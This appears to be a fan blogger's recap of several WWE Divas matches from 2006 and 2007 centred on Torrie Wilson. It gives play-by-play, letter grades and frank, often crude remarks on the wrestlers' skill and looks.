Torrie and Victoria are in some stupid Diva heel stable with Candace Michelle who would hook up with Vince for like 5 minutes. Trish is returning from an injury that kept her out for five months. Naturally they let her keep the title that whole time. Ashley is making her PPV debut here and we start with Trish vs. Victoria which is easily the best possible pairing. Off to Ashley and things get bad quickly.

Torrie and Candace cheat and Victoria hits a slingshot legdrop. Thankfully we’re letting Trish get the hot tag later which is by far the best possible idea. Off to a chinlock for a bit and then it’s time for Torrie vs. Ashley, which I don’t think anyone wants to see. Well, no one under the age of 22 that is. The nice girls do the unseen tag thing and Victoria beats on Ashley a bit more. She goes up and gets crotched before it’s hot tag to Trish. Trish does her usual stuff but throws in a spinebuster to mix things up. The Chick Kick ends Victoria.

Rating: D-. Trish in shorts is always a good thing but the match was just worthless. Ashley just wasn’t any good but was here because someone thought she looked good or whatever. The match was nothing and I’m sure everyone knew that was going to be the case. The heel Diva team never did anything and again, I don’t think anyone expected them to do anything.

From Raw on March 27, 2006 in fallout from the destruction of Vince’s Devils. Remember that? Of course not.

Torrie Wilson/Trish Stratus vs. Victoria/Candice Michelle

It’s almost a brawl to start with Victoria kicking Torrie down for two. Off to Candice for some grinding and a Stroke, complete with a little kiss first. Victoria accidentally hits Candice and the hot tag brings in Trish. She easily cleans house and nails the Chick Kick for two on Victoria. Torrie and Candice brawl on the floor as Trish escapes the Widow’s Peak and hits Stratusfaction for the pin.

Rating: D. This was just a warmup for Trish before her showdown with Mickie James at Wrestlemania on Sunday. Torrie and Candice were having a pillow fight on Sunday as well and that’s about as good as they could have done. The match was only good when Trish was in there, which thankfully was a good chunk of time.

Time for a beating! From Raw on July 3, 2006.

Torrie Wilson vs. Lita

Torrie has her stupid dog with her at this point. Lita offers Torrie a free shot and gets two off a suplex. A knee to the back has Torrie in even more trouble as Jerry makes sex jokes. Torrie makes the mistake of slapping Lita but actually keeps going with some clotheslines. We get a comedy spot as the referee takes a Stinkface, allowing Lita to DDT Torrie for the pin.

We’ll jump ahead a few months and look at this match on Smackdown, July 13, 2007.

Torrie Wilson vs. Victoria

This is due to Torrie stealing the spotlight from Victoria during a photoshoot last week. Victoria kicks her in the ribs to start as Cole talks about how tough Torrie is. A hair drag puts Victoria down but Victoria kicks her right in the jaw to take over. She shouts that Torrie isn’t so pretty now before hammering away even more. Choking ensues on the ropes but Torrie avoids a standing moonsault. She makes the comeback with clotheslines and a bad looking neckbreaker. A suplex gets two on Victoria but Torrie has to escape the Widow’s Peak. They head outside for a catfight and Torrie beats the count back in for the win.

Rating: D. This was actually better than I was expecting as Torrie was now to the point where she could do some basic stuff in the ring. She’s nowhere near ready for national TV but she wasn’t an embarrassment at this point. Victoria was doing her thing and carried Torrie to a decent match. She would of course crush Wilson in the rematches.

We’ll wrap it up with the required mess of a Divas match from Survivor Series 2007.

Mickie James/Maria/Torrie Wilson/Michelle McCool/Kelly Kelly vs. Beth Phoenix/Melina/Jillian Hall/Victoria/Layla

One fall to a finish here and Beth is Women’s Champion. The Divas Title doesn’t exist yet which is how things should have stayed. Layla is WAY hotter being evil and Melina has some gorgeous hair. She also falls off the apron during her splits entrance which is worth a chuckle. The second attempt works and thankfully she’s smiling after screwing it up. Mickie and Maria are ridiculously good looking as well.

Victoria and Michelle start things off with Michelle taking over with a headlock. A big boot puts Victoria (Tara in TNA if you’re new at this) down and it’s off to Torrie who can’t wrestle a watchable match to save her life. Victoria kills her mostly dead with a side slam and it’s off to Layla who is so bad here that she can’t even beat up torrie. Kelly and Jillian come in and Jillian tries to scream a bit, only to get rolled up for two. Maria comes in, basically wearing a bikini.

Thankfully Beth comes in to flatten Maria before handing it right back to Layla. Actually make that Melina, who misses a charge at Maria and crotches herself, allowing for the hot tag to Mickie. James beats up everyone in sight, has her partners take out Beth, and hits the Long Kiss Goodnight on Melina for the pin. What’s the Long Kiss Goodnight you ask? That would be every 13 year old’s dream: Mickie literally bends Melina back and kisses her before kicking her in the head for the pin.

Rating: D. Yes, the match sucked. Yes, most of the women in this are horrible wrestlers. Yes, if you’re complaining about these things, you’re missing the point. This was pure fan service as you had ten girls in either tight or barely there outfits and one hot woman kissing another hot woman before kicking her in the head. If you’re looking for a wrestling match here, you’re in the wrong place.

Yeah the matches were awful, and if you think that’s the point of Torrie Wilson, you have no idea how wrestling works.

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